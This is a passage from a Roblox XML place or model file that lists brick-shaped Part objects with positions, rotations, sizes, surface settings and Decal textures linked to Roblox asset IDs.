					<X>201.5</X>
					<Y>10</Y>
					<Z>250.5</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>15</X>
					<Y>2.4000001</Y>
					<Z>3</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1271">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">24</int>
				<CoordinateFrame name="CFrame">
					<X>234.5</X>
					<Y>1</Y>
					<Z>228.5</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0.5</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>15</X>
					<Y>1.20000005</Y>
					<Z>7</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1272">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">104</int>
				<CoordinateFrame name="CFrame">
					<X>201.5</X>
					<Y>15.4000006</Y>
					<Z>199</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>11</X>
					<Y>8.40000057</Y>
					<Z>10</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1273">
				<Properties>
					<token name="Face">2</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16133596</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1274">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-111.13958</X>
					<Y>0.589995086</Y>
					<Z>-125.463387</Z>
					<R00>-0.761970162</R00>
					<R01>6.61971135e-005</R01>
					<R02>-0.647612214</R02>
					<R10>4.64023287e-006</R10>
					<R11>1</R11>
					<R12>9.67575907e-005</R12>
					<R20>0.647612214</R20>
					<R21>7.07213185e-005</R21>
					<R22>-0.761970162</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00848212093</X>
					<Y>-0.000374801457</Y>
					<Z>-0.0141496807</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.022471875</X>
					<Y>-0.00664453302</Y>
					<Z>-0.0162083264</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1275">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1276">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1277">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-109.883499</X>
					<Y>0.589274108</Y>
					<Z>-119.957031</Z>
					<R00>-0.0934051052</R00>
					<R01>-0.00313837267</R01>
					<R02>-0.995623231</R02>
					<R10>0.000368125533</R10>
					<R11>0.999994874</R11>
					<R12>-0.00318668853</R12>
					<R20>0.995628119</R20>
					<R21>-0.000664167281</R21>
					<R22>-0.093403466</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00987568963</X>
					<Y>-0.0034875758</Y>
					<Z>-0.0657522082</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.0398451835</X>
					<Y>0.0100377304</Y>
					<Z>0.0251376722</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1278">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1279">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1280">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-113.128189</X>
					<Y>0.590311527</Y>
					<Z>-122.798119</Z>
					<R00>0.999600232</R00>
					<R01>1.94218082e-005</R01>
					<R02>-0.0282725319</R02>
					<R10>3.27027083e-005</R10>
					<R11>-0.99999994</R11>
					<R12>0.000469283375</R12>
					<R20>-0.0282725189</R20>
					<R21>-0.000470020372</R21>
					<R22>-0.999600172</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0128131947</X>
					<Y>-0.00513592036</Y>
					<Z>0.0632492378</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.00171943824</X>
					<Y>0.00584351039</Y>
					<Z>0.00203573727</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1281">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1282">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1283">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-108.445587</X>
					<Y>0.589950681</Y>
					<Z>-120.519836</Z>
					<R00>-0.471722484</R00>
					<R01>1.71812928e-006</R01>
					<R02>-0.881747007</R02>
					<R10>-1.05234394e-005</R10>
					<R11>1</R11>
					<R12>7.57844691e-006</R12>
					<R20>0.881747007</R20>
					<R21>1.28539359e-005</R21>
					<R22>-0.471722484</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0241109151</X>
					<Y>-0.000368329027</Y>
					<Z>0.0117141549</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.0209510811</X>
					<Y>-0.000206440105</Y>
					<Z>0.011521481</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1284">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1285">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1286">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-109.206856</X>
					<Y>0.58974582</Y>
					<Z>-123.830376</Z>
					<R00>-0.300178379</R00>
					<R01>-1.36834115e-005</R01>
					<R02>-0.953883052</R02>
					<R10>2.30129018e-007</R10>
					<R11>1</R11>
					<R12>-1.44173764e-005</R12>
					<R20>0.953883052</R20>
					<R21>-4.54730116e-006</R21>
					<R22>-0.300178379</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0387128554</X>
					<Y>-1.43382231e-005</Y>
					<Z>-0.00871534366</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.00217528967</X>
					<Y>0.00540321087</Y>
					<Z>-0.000448225182</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1287">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1288">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1289">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-112.094948</X>
					<Y>0.784006</Y>
					<Z>-121.327484</Z>
					<R00>0.205520436</R00>
					<R01>0.0405445546</R01>
					<R02>-0.977812529</R02>
					<R10>-0.197440267</R10>
					<R11>0.980314553</R11>
					<R12>-0.000850455544</R12>
					<R20>0.958529413</R20>
					<R21>0.193234369</R21>
					<R22>0.209479809</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00203382852</X>
					<Y>-0.0160115212</Y>
					<Z>0.0168574322</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.017452525</X>
					<Y>-0.0408660471</Y>
					<Z>0.0423063226</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1290">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1291">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1292">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-112.971909</X>
					<Y>0.591283143</Y>
					<Z>-125.412422</Z>
					<R00>-0.514021337</R00>
					<R01>-4.94542946e-005</R01>
					<R02>-0.857777417</R02>
					<R10>0.000104827937</R10>
					<R11>-1</R11>
					<R12>-5.16393129e-006</R12>
					<R20>-0.857777357</R20>
					<R21>-9.25734057e-005</R21>
					<R22>0.514021337</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00841360446</X>
					<Y>-7.41360709e-005</Y>
					<Z>-0.00969636533</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00669073826</X>
					<Y>-0.00459862081</Y>
					<Z>-0.000415748509</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1293">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1294">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1295">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-113.073494</X>
					<Y>0.891218901</Y>
					<Z>-118.260071</Z>
					<R00>0.123881817</R00>
					<R01>0.992296815</R01>
					<R02>0.000680171128</R02>
					<R10>-1.12321295e-005</R10>
					<R11>-0.000684112776</R11>
					<R12>0.999999821</R12>
					<R20>0.992297053</R20>
					<R21>-0.123881869</R21>
					<R22>-7.36449801e-005</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000181375421</X>
					<Y>-0.00185225753</Y>
					<Z>0.0033306242</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00203209464</X>
					<Y>-0.0192106236</Y>
					<Z>0.00693307724</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1296">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1297">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1298">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-113.991249</X>
					<Y>0.591290116</Y>
					<Z>-120.500702</Z>
					<R00>-0.740943193</R00>
					<R01>-3.36996709e-005</R01>
					<R02>-0.671567678</R02>
					<R10>3.27748676e-005</R10>
					<R11>1</R11>
					<R12>-8.63412351e-005</R12>
					<R20>0.671567678</R20>
					<R21>-8.59844949e-005</R21>
					<R22>-0.740943193</R22>
				</CoordinateFrame>
